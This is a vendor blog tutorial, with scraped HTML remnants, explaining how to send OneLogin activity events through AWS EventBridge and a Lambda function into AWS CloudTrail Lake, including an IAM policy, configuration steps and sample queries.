Integrating OneLogin with AWS CloudTrail Lake

2023-02-07T00:00:00+00:00

One Identity is an integration partner with the new CloudTrail Lake service from Amazon Web Services (AWS). When OneLogin users generate activity within our platform, OneLogin can send event data via a predefined webhook to AWS EventBridge, which then triggers a lambda rule to store the event log in CloudTrail Lake. In this blog post, I’ll walk you through how to create this integration between your One Identity OneLogin tenant and AWS CloudTrail Lake.

Before we begin, you'll need to know your AWS account number and to decide how long your event store should retain events (up to 7 years). As we go, you'll be naming a lot of new tools that you'll reuse throughout the course of this process, so it's a good idea to plan these identifiers in advance. I've listed the names that I used here, and will highlight them through the rest of this post so you know where to substitute your own.

Identifier</th> Example</th></tr></thead>

AWS CloudTrail Lake Event Store</th> onelogin-event-data-store</td></tr>

AWS Event Store Channel</th> onelogin-event-channel</td></tr>

AWS IAM Lambda Policy</th> LambdaCloudTrailLakePolicy</td></tr>

AWS IAM Lambda Role</th> lambda-cloudtraillake-role</td></tr>

AWS EventBridge Rule</th> onelogin-events</td></tr>

AWS Lambda Function</th> OneLoginCloudTrailLakeConnector</td></tr>

OneLogin EventBridge Webhook</th>

CloudTrailLake-Connector</td></tr> </tbody> </table></div>

Let's get started!

# Step 1: Create the CloudTrail Lake Event Data Store and Channel in AWS

In your AWS Management Console, use the search bar to navigate to CloudTrail, then select Event data stores in the Lake feature.</li>

Select Create event data store and name it onelogin-event-data-store.

Select your preferred retention period.</li>
For Event types, choose Events from integration.</li>
Select One Identity as your source.</li>
Enter your event channel name.</li> </ul> </li>
Select your new event data store and copy the value in the Channel Arn field for later reference. It should look something like this:
arn:aws:cloudtrail:us-east-1:123456789012:channel/3f212354-317c-4209-9341-631210ebc1aa</code></pre></li> </ol> # Step 2: Create the necessary roles and policies in AWS Create an IAM policy with JSON like this: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "cloudtrail:CreateEventDataStore", "cloudtrail:UpdateEventDataStore", "cloudtrail:DeleteEventDataStore", "cloudtrail:ListEventDataStores", "cloudtrail:RestoreEventDataStore", "cloudtrail:GetEventDataStore", "cloudtrail:StartQuery", "cloudtrail:ListQueries", "cloudtrail:CancelQuery", "cloudtrail:DescribeQuery", "cloudtrail:GetQueryResults", "cloudtrail:CreateChannel", "cloudtrail:UpdateChannel", "cloudtrail:DeleteChannel", "cloudtrail:GetChannel", "cloudtrail:ListChannels", "cloudtrail:PutResourcePolicy", "cloudtrail:GetResourcePolicy", "cloudtrail:DeleteResourcePolicy" ], "Resource": "*" }, { "Effect": "Allow", "Action": "cloudtrail-data:PutAuditEvents", "Resource": "*" }, { "Effect": "Allow", "Action": [ "iam:ListRoles", "iam:GetRolePolicy", "iam:GetUser" ], "Resource": "*" }, { "Effect": "Allow", "Action": [ "logs:CreateLogStream", "logs:CreateLogGroup" ], "Resource": "arn:aws:logs:*:711520095505:log-group:*" }, { "Effect": "Allow", "Action": "logs:PutLogEvents", "Resource": "arn:aws:logs:*:711520095505:log-group:*:log-stream:*" }, { "Effect": "Allow", "Action": "iam:PassRole", "Resource": "*", "Condition": { "StringEquals": { "iam:PassedToService": "cloudtrail.amazonaws.com" } } } ] }</code></pre></li> Next, create a role to use for your lambda function: For Trusted entity type, select AWS Service.</li> For Use case, select Lambda.</li> Check the box to add your newly created policy to the role.</li> Name your role lambda-cloudtraillake-role.</li> </ul> </li> </ol> # Step 3: Create the Lambda Function in AWS Choose Create function in the AWS Lambda console. For this step, I'm going to send you over to Amazon's excellent guide, Create a Lambda function with the console</a>. Use these options as you go: Author: from scratch</li> Function: OneLoginCloudTrailLakeConnector</li> Runtime: Ruby 2.7</li> Architecture: arm64</li> Change the default execution role to Use an existing role and select lambda-cloudtraillake-role.</li> </ul> </li> Once you create the Lambda, you can deploy the code by selecting Upload from, then choosing Amazon S3 Location and entering this URL: https://onelogin-screenshots.s3.amazonaws.com/dev_site/OneLoginCloudTrailLakeConnector.zip</code></pre></li> In Lambda's Configuration tab, select Environment variables on the left and choose Edit to add these variables: aws_account_id</th> Enter your organization's AWS account ID.</td></tr> aws_channel_arn</th> Paste in the Event Channel ARN you copied earlier while we were creating the event data store</a>.</th></tr> </tbody> </table> </li> </ol> # Step 4: Create the EventBridge Webhook in OneLogin To create this webhook, it's time again to reference another guide, this time OneLogin's own Stream OneLogin Event Data to Amazon EventBridge</a>.</li> Once you've completed that process, verify that the webhook can be seen in the OneLogin Event Broadcaster's list.</li> Select the newly created broadcaster and verify the Event Source value from the edit screen. It should look like aws.partner/onelogin.com/US-205033/061112e9cb</code>, with your webhook's own ID in the marked portion.</li> </ol> # Step 5: Attach the EventBridge trigger to the Lambda Function In your AWS EventBridge management portal, go to Integration > Partner event sources.</li> Select your event source value from Partner event sources.</li> Select Associate with event bus and go to Buses > Rules.</li> In Event bus, select your ID and choose Create rule.</li> In Build event pattern, go to Event Source and select AWS events or EventBridge partner events.</li> Go to Creation Method and select Use pattern form.</li> Go to Event pattern and select: Event source: EventBridge partners</li> Partner: OneLogin</li> Event Type: All Events</li> </ul> </li> Choose Next.</li> In Select target(s), create two targets. To create the second target, select Add another at the bottom: Target 1 – for EventBridge logging</th></tr></thead> Target types</th> AWS service</td></tr> Select a target</th> CloudWatch log group </td></tr> Log group</th> /aws/events/eventbridge-onelogin</code></td></tr> </tbody> </table> Target 2 – to connect to your Lambda function</th></tr></thead> Target types</th> AWS service</td></tr> Select a target</th> Lambda function</td></tr> Function</th> OneLoginCloudTrailLakeConnector</td></tr> </tbody> </table> </li> Review and Save your settings.</li> </ol> # Step 6: Test your configuration We're almost done! The last thing we need to do is make sure that the events your users' activity generates through OneLogin are being forwarded through the AWS services you configured and posted CloudTrail Lake, like this: Events are generated in OneLogin, such as user logins, admin changes, etc. TEST: Make any change to track.</li></ul></li> After up to one minute, events are forwarded to the AWS EventBridge via your brand new webhook. TEST: Check the CloudWatch console in AWS for the /aws/events/eventbridge-onelogin log group to see if your event was posted.</li></ul></li> The event in the EventBridge triggers the Lambda function, which posts to the CloudTrail Lake ingestion channel. TEST: Check the CloudWatch console in AWS for the /aws/lambda/OneLoginCloudTrailLakeConnector log group to see if the Lambda function is being triggered.</li></ul></li> The event data arrives in CloudTrail Lake and can be found via query. TEST: Enter the validation query</a> in the CloudTrail Lake console and verify that it returns all records for your event store.</li></ul></li> </ol> ## Example Queries Validation Query</th> SELECT * FROM onelogin-event-data-store ORDER BY EventTime DESC limit 10</code></pre> </td></tr> Search for all events of a specific event type, such as USER_LOGGED_INTO_ONELOGIN</th> SELECT eventData.eventname, eventTime, json_extract(eventJson, '$.eventData') as eventData FROM onelogin-event-data-store WHERE eventData.eventname = EVENT-TYPE ORDER BY EventTime DESC limit 10</code></pre> </td></tr> Get risk scores and reasons for all risk events</th> SELECT eventData.eventname, json_extract(eventJson, '$.eventData.additionalEventData.raw.detail.risk_score') as risk_score, json_extract(eventJson, '$.eventData.additionalEventData.raw.detail.risk_reasons') as risk_reasons, json_extract(eventJson, '$.eventData') as eventData FROM onelogin-event-data-store WHERE json_extract(eventJson, '$.eventData.additionalEventData.raw.detail.risk_score') IS NOT NULL ORDER BY EventTime DESC limit 10</code></pre> </td></tr> </tbody> </table> And that's it! From now on, all your OneLogin activity events will be securely aggregated and stored in AWS CloudTrail Lake for easy access and analysis. Enjoy!

OneLogin Developers

Integrating OneLogin with AWS CloudTrail Lake